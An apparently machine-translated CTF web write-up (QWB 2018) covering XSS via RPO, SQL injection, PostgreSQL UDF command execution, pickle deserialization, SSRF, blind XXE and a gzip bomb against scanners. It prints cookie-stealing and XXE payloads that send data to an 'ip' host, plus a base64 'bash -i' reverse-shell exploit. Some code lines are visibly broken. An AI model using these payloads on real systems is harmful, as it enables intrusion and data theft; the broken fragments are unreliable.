the second strong web cup web writeup

Posted by fierce at 2020-03-24

By: [email protected]

WEB check-in

Http:// right click the source code to get the array for the first layer of tips


The second layer still uses arrays



curl -v -H "Cookie: PHPSESSID=8iflkrd5vocvllro75oekanat3" --data "param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"

Title Description Please help me find the vulnerability before I finish this site! hint:xss bot使用phantomjs,版本2.1.1 hint2 : xss的点不在report页面

You can see that there is no / restriction before jquery.min.js, and there is an RPO vulnerability


I was chatted by some students in private. Maybe I didn't understand RPO. You can see the figure below. It is mainly because of the existence of routing that the loaded JS can be defined by itself.

In the past, RPO encountered is CSS. Because CSS syntax is not so strict, there can be many dirty characters, but JS syntax is strict. Page content must have no dirty characters.

In this case, some special symbols are also materialized, so loading payload uses the form of Eval (string. Fromcharcode (97))


Get the cookie for the current root:

b=document.cookie;a="<img src=//ip/"+btoa(b)+">";document.write(a);

The returned data prompts try to get the cookie of path "/ QWB ﹐ fl4g / QWB /", that is, to get cookies in different directories. You can load through iframe, and finally get the cookies in iframe.

Try to get the cookie of path "/QWB_fl4g/QWB/" var i = document.createElement("iframe"); i.setAttribute("src", "/QWB_fl4g/QWB/"); document.body.appendChild(i); i.addEventListener( "load", function(){ var content = i.contentWindow.document.cookie; location='//ip/'+btoa(content); }, false);

最后可拿到flag: flag=QWB%7Bflag_is_f43kth4rpo%7D; HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

flag=QWB%7Bflag_is_f43kth4rpo%7D; HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"

Three hit

This topic is a secondary injection. The injection point is the registered user's office. Age can only input digital type. We can code it with hex

Get flag

POST /index.php?func=register HTTP/1.1 Host: username=l3m0n23&age=0x393939393939393939393939393920756e696f6e2073656c65637420312c2873656c65637420666c61672066726f6d20666c6167206c696d697420302c31292c332c34206c696d697420382c312d2d&password=123456


Title Description 建设报名网站初期,测试人员发现了构建文件中部分jar版本未更新导致的有意思的RCE,git地址:

Rce will study the Shiro anti sequence vulnerability later

There is also an unexpected problem, that is, the postsql port is open and the password is leaked.

Docker build

UDF raise power

SELECT lo_create(9023); insert into pg_largeobject values (9023, 0, decode('7f454c4602010100000000000000000003003e0001000000000d0000000000004000000000000000e8210000000000000000000040003800070040001a00190001000000050000000000000000000000000000000000000000000000000000004c140000000000004c1400000000000000002000000000000100000006000000f81d000000000000f81d200000000000f81d200000000000d802000000000000e0020000000000000000200000000000020000000600', 'hex')); insert into pg_largeobject values (9023, 1, decode('xxx', 'hex')); insert into pg_largeobject values (9023, 2, decode('xxx', 'hex')); insert into pg_largeobject values (9023, 3, decode('xxx', 'hex')); insert into pg_largeobject values (9023, 4, decode('xxx', 'hex')); insert into pg_largeobject values (9023, 5, decode('xxx', 'hex')); SELECT lo_export(9023, '/tmp/'); 执行命令: CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; select sys_eval('id');

Delete function

drop function sys_eval

Python is the best language

For high-quality topics, some masters have written the writeup well... Python writeup

Make some more records for python2

When you build a local flash, you still encounter a pit. When you create a database, add the following code

SQLALCHEMY_DATABASE_URI = "mysql://root:[email protected]/flask?charset=utf8" engine=create_engine(SQLALCHEMY_DATABASE_URI,echo=True) Base=declarative_base() ... Base.metadata.create_all(engine)

There are three steps in total: 1. Bypass the sandbox; 2. Find the trigger point and generate the rule of session file name; 3. Export the inverse string to the file

In the first step, the questioner mistakenly thinks that the modules that are not imported need not be blocked, so subprocess.popen and can be called


Step 2: generate the session file name MD5 ('bdwsessions' + cookie name)


Step 3: when you log in, you can export the file. When you export, you must use dumpfile... To get outfile.

abc' union select unhex('aaa'),null,null,null,null,null into dumpfile '/tmp/ffff/59dbc12f95f9e1064020d248ad791c0d'-- -

Last exp:

import os import cPickle import subprocess import socket import binascii import hashlib def md5(s, raw_output=False): res = hashlib.md5(s.encode()) if raw_output: return res.digest() return res.hexdigest() def _get_filename(key): key = key.encode('utf-8') # XXX unicode review hash = md5(key) print hash print _get_filename('bdwsessionslemon') # Exploit that we want the target to unpickle class Exploit(object): def __reduce__(self): return (, (['bash','-c','{echo,xxxx}|{base64,-d}|{bash,-i}'],)) def serialize_exploit(): shellcode = cPickle.dumps(Exploit()) return shellcode print binascii.b2a_hex(serialize_exploit())

Of course, there is another way to trigger. You don't need to find the generation method of session name.

Where entries is the number of the whole session, and threshold is a fixed number. The session file threshold in = 1000, that is, when the session file exceeds 1W, all sessions will be listed for deserialization one by one, which can also be triggered.



The subject gives the address behind the public. Check the SDK of WeChat official account. It can be found that it can be sent through some XML data.

import requests url = "" content = "Test TEAMKEY icq3be93d38562e68bc0a86368c2d6b2" data = ''' <xml> <ToUserName><![CDATA[a]]></ToUserName> <FromUserName><![CDATA[1',(select content from note limit 3,1))--]]></FromUserName> <CreateTime>1348831860</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[%s]]></Content> <MsgId>1234567890123456</MsgId> <AgentID>1</AgentID> </xml> ''' % content print,data=data).content

The following information can be obtained by indicating the presence of injection

<xml> <ToUserName><![CDATA[1',(select content from note limit 3,1))--]]></ToUserName> <FromUserName><![CDATA[a]]></FromUserName> <CreateTime>1521882365</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[Success! Start Time:You can leave me message here: Over Time:Sat Mar 24 09:06:05 2018]]></Content> <MsgId>1234567890123456</MsgId> </xml>

The IP of binding host: is

Message has injection, and the restriction is relatively strict

POST /leave_message.php HTTP/1.1 Host: user=aaaaaaaaaaaaaaa&[email protected]&team=icq3be93d38562e68bc0a86368c2d6b2&message=1'-(sleep(ceil(pi())))-'1&submit=submit

For example, the sleep function parameter can't use numbers, but can be bypassed by pi(). In addition, it is the select from part.

pi() message=12333'-(if(ascii(substring(([email protected]:=group_concat(username)from{cl0und.adminuser}),%s,1))like'%s',sleep(pi()),0))-'1

All the fields here need to be guessed, but the password field cannot be guessed

Use password retrieval function to inject code and retrieve administrator password

After entering the background, it is found that there is a section of upload place, which is mainly used for uploading the user's Avatar.

After the file is uploaded, the content of the picture will be displayed.

Look back at the comments in the HTM.

Among them, urlink has SSRF vulnerability. There is no restriction on the protocol and the following characters. Of course, most of the special symbols cannot be used, and only some configuration files can be read.

POST /getimg.php HTTP/1.1 Host: Cookie: PHPSESSID=cjq7naar02kajivdftljhj2h44 ------WebKitFormBoundaryOXFwabnsGhrKdxyn Content-Disposition: form-data; name="urlink" file:// ------WebKitFormBoundaryOXFwabnsGhrKdxyn--

Read the configuration file of Apache, and you can see the content. It's depressing. I read this file during the game, but the content of Base64 is not complete, so I don't see this part. I still need to be careful

#<Directory /home/qwbweb/backdoor> # Port 23333 # Options Indexes FollowSymLinks # AllowOverride None # Require all granted # Here is a Bin with its libc #</Directory>

The rest is to read the PWN program, and then pwnpwnpwn. It's too delicious to do.

Educational services

In fact, this topic is very silly. I gave a domain name and thought it was a real environment penetration problem, so I did information collection. For example, scan the secondary domain name, scan the port, and scan the file (once scanned, it will be ban)

Port 80 is really confused. Just look at port 33899. There is a leak of. Idea, but it's useless.

The content is annotated with a section of XM calling entity variables, which is a bit like xxE.

There is also a place to submit comments, but no matter how you write it, it is alert ("unknown error!")!!! Please try again.


There was a problem passing in the array.

The comment has been processed by userdecode. If you try the XML header, you can see that there is an error. The test point should be XX E.

<?xml version="1.0" encoding="utf-8"?>

Through the blind xxE, you can get the file.

Remote server layout a 1.xml

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://ip/test/?xxe_local=%payload;'>"> %int; %trick;

Comment to call again

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://ip/xxe/1.xml"> %remote; ]></root>

Take a look at / var / www / / config.php

/var/www/ <?php define(BASEDIR, "/var/www/"); define(FLAG_SIG, 1); define(SECRETFILE,'/var/www/'); .... ?>

Got half the flags

Ok,you get the first part of flag : 5bdd3b0ba1fcb40 then you can do more to get more part of flag

There is a problem here, that is, there is a detected an entity reference loop error when getting / var / www / / common.php.

/var/www/ Detected an entity reference loop

Looking up the data, the libxml parser limits the length of external entities to 2K by default, which can't be broken through. It can only look for compressed data. A zlib.inflate compressed data is provided in the PHP filter.

zlib.inflate 压缩:echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd"); 解压:echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");

In this way, you can get the source code of the common.php file!


Get some IP information of the machine again, in which an intranet address is reserved in the ARP information

/proc/net/arp /etc/host IP address HW type Flags HW address Mask Device 0x1 0x2 02:42:c0:a8:df:12 * eth0 0x1 0x2 02:42:91:f9:c9:d4 * eth0

An 80 port is opened, and the shop parameter of test.php is injected

<!ENTITY % payload SYSTEM "'-(case%a0when((1)like(1))then(0)else(1)end)-'1"> <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://ip/test/?xxe_local=%payload;'>"> %int; %trick;

I can't do it. I don't want to.

2333. I learned a posture to prevent the scanner. If the scanner climbs to test.php, of course, it has little effect on general directory scanning. Generally, it is a head request.


<?php $agent = strtolower($_SERVER['HTTP_USER_AGENT']); //check for nikto, sql map or "bad" subfolders which only exist on wordpress if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/')) { sendBomb(); exit(); } function sendBomb(){ //prepare the client to recieve GZIP data. This will not be suspicious //since most web servers use GZIP by default header("Content-Encoding: gzip"); header("Content-Length: ".filesize('www.gzip')); //Turn off output buffering if (ob_get_level()) ob_end_clean(); //send the gzipped file to the client readfile('10G.gzip'); } function startsWith($haystack,$needle){ return (substr($haystack,0,strlen($needle)) === $needle); } ?>